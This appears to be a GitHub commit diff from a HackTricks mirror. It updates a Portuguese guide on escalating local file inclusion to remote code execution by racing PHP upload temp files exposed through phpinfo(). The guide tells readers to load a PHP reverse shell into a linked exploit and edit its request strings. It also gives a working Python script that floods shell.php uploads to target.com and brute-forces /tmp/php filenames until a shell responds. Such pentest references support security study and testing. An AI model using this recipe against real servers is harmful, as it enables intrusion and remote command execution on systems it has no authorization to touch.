mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 07:31:10 +00:00
Translated ['pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md'] to p
This commit is contained in:
parent
cf545507a7
commit
a934488c55
2 changed files with 37 additions and 19 deletions
|
@ -591,6 +591,7 @@
|
|||
* [File Upload](pentesting-web/file-upload/README.md)
|
||||
* [PDF Upload - XXE and CORS bypass](pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
||||
* [Formula/CSV/Doc/LaTeX/GhostScript Injection](pentesting-web/formula-csv-doc-latex-ghostscript-injection.md)
|
||||
* [gRPC Pentest](pentesting-web/grpc-web-pentest.md)
|
||||
* [HTTP Connection Contamination](pentesting-web/http-connection-contamination.md)
|
||||
* [HTTP Connection Request Smuggling](pentesting-web/http-connection-request-smuggling.md)
|
||||
* [HTTP Request Smuggling / HTTP Desync Attack](pentesting-web/http-request-smuggling/README.md)
|
||||
|
|
|
@ -1,32 +1,49 @@
|
|||
Para explorar essa vulnerabilidade, você precisa de: **uma vulnerabilidade LFI, uma página onde phpinfo() é exibido, "file\_uploads = on" e o servidor tem que ser capaz de escrever no diretório "/tmp".**
|
||||
<details>
|
||||
|
||||
[https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py)
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
|
||||
- Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Para explorar essa vulnerabilidade você precisa: **Uma vulnerabilidade LFI, uma página onde phpinfo() é exibido, "file\_uploads = on" e o servidor precisa ter permissão para escrever no diretório "/tmp".**
|
||||
|
||||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||
|
||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
|
||||
|
||||
Você precisa corrigir o exploit (troque **=>** por **= \>**). Para fazer isso, você pode fazer:
|
||||
Você precisa corrigir o exploit (mudar **=>** para **=>**). Para fazer isso, você pode:
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
Você também precisa alterar o **payload** no início do exploit (por exemplo, para um php-rev-shell), o **REQ1** (isso deve apontar para a página phpinfo e deve incluir o preenchimento, ou seja: _REQ1 = """POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), e **LFIREQ** (isso deve apontar para a vulnerabilidade LFI, ou seja: _LFIREQ = """GET /info?page=%s%%00 HTTP/1.1\r --_ Verifique o duplo "%" ao explorar o caractere nulo)
|
||||
Você deve alterar também o **payload** no início do exploit (por um php-rev-shell, por exemplo), o **REQ1** (este deve apontar para a página phpinfo e deve incluir o preenchimento, ou seja: _REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1_), e **LFIREQ** (este deve apontar para a vulnerabilidade LFI, ou seja: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Verifique o duplo "%" ao explorar o caractere nulo)
|
||||
|
||||
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
|
||||
### Teoria
|
||||
|
||||
Se os uploads são permitidos no PHP e você tenta fazer upload de um arquivo, esse arquivo é armazenado em um diretório temporário até que o servidor tenha terminado de processar a solicitação e, em seguida, esse arquivo temporário é excluído.
|
||||
Se uploads são permitidos no PHP e você tenta fazer upload de um arquivo, este arquivo é armazenado em um diretório temporário até que o servidor termine de processar a solicitação, então este arquivo temporário é deletado.
|
||||
|
||||
Então, se você encontrou uma vulnerabilidade LFI no servidor da web, pode tentar adivinhar o nome do arquivo temporário criado e explorar um RCE acessando o arquivo temporário antes que ele seja excluído.
|
||||
Então, se você encontrou uma vulnerabilidade LFI no servidor web, você pode tentar adivinhar o nome do arquivo temporário criado e explorar um RCE acessando o arquivo temporário antes que ele seja deletado.
|
||||
|
||||
No **Windows**, os arquivos geralmente são armazenados em **C:\Windows\temp\php<<**
|
||||
|
||||
No **Linux**, o nome do arquivo costuma ser **aleatório** e localizado em **/tmp**. Como o nome é aleatório, é necessário **extrair de algum lugar o nome do arquivo temporário** e acessá-lo antes que seja excluído. Isso pode ser feito lendo o valor da **variável $\_FILES** dentro do conteúdo da função "**phpconfig()**".
|
||||
No **linux**, o nome do arquivo costuma ser **aleatório** e localizado em **/tmp**. Como o nome é aleatório, é necessário **extrair de algum lugar o nome do arquivo temporário** e acessá-lo antes que seja deletado. Isso pode ser feito lendo o valor da **variável $\_FILES** dentro do conteúdo da função "**phpconfig()**".
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
O **PHP** usa um buffer de **4096B** e quando ele está **cheio**, ele é **enviado para o cliente**. Então, o cliente pode **enviar muitas solicitações grandes** (usando cabeçalhos grandes) **fazendo upload de um shell reverso php**, aguardar a **primeira parte do phpinfo() ser retornada** (onde está o nome do arquivo temporário) e tentar **acessar o arquivo temporário** antes que o servidor php exclua o arquivo, explorando uma vulnerabilidade LFI.
|
||||
O **PHP** usa um buffer de **4096B** e quando está **cheio**, é **enviado ao cliente**. Então o cliente pode **enviar** **muitas solicitações grandes** (usando cabeçalhos grandes) **fazendo upload de um php** reverse **shell**, esperar pela **primeira parte do retorno do phpinfo()** (onde o nome do arquivo temporário está) e tentar **acessar o arquivo temporário** antes que o servidor php delete o arquivo explorando uma vulnerabilidade LFI.
|
||||
|
||||
**Script Python para tentar forçar o nome (se o comprimento for 6)**
|
||||
**Script Python para tentar força bruta no nome (se o comprimento = 6)**
|
||||
```python
|
||||
import itertools
|
||||
import requests
|
||||
|
@ -35,16 +52,16 @@ import sys
|
|||
print('[+] Trying to win the race')
|
||||
f = {'file': open('shell.php', 'rb')}
|
||||
for _ in range(4096 * 4096):
|
||||
requests.post('http://target.com/index.php?c=index.php', f)
|
||||
requests.post('http://target.com/index.php?c=index.php', f)
|
||||
|
||||
|
||||
print('[+] Bruteforcing the inclusion')
|
||||
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||||
r = requests.get(url)
|
||||
if 'load average' in r.text: # <?php echo system('uptime');
|
||||
print('[+] We have got a shell: ' + url)
|
||||
sys.exit(0)
|
||||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||||
r = requests.get(url)
|
||||
if 'load average' in r.text: # <?php echo system('uptime');
|
||||
print('[+] We have got a shell: ' + url)
|
||||
sys.exit(0)
|
||||
|
||||
print('[x] Something went wrong, please try again')
|
||||
```
|
||||
|
@ -52,14 +69,14 @@ print('[x] Something went wrong, please try again')
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
- Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue